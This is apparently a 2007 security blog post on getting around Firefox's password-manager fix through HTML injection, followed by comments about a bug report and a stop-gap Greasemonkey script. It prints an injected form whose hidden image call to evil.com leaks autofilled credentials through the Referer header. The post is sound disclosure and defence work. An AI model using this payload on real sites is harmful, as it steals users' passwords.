And while their fix for the RCSR issue is good, its not perfect.
As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.
Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.
Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.
What we can then do is inject a form into the page which looks like this:
<form action="http://site.com/vuln.php" method="get">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="hidden" name="search" value="<img src='http://evil.com/log.php' />" />
<input type="submit" value="Login" />
</form>
Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.
Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.
2 comments:
I filed a bug on this: https://bugzilla.mozilla.org/show_bug.cgi?id=371515
For anyone who is interested, I've also posted a stop gap solution in the form of a Greasemonkey script here: http://kuza55.blogspot.com/2007/02/stopgetpassuserjs-interim-solution.html
which sets the form method to post on all forms which contain password fields; sure it will breaks things but not too many things.
Post a Comment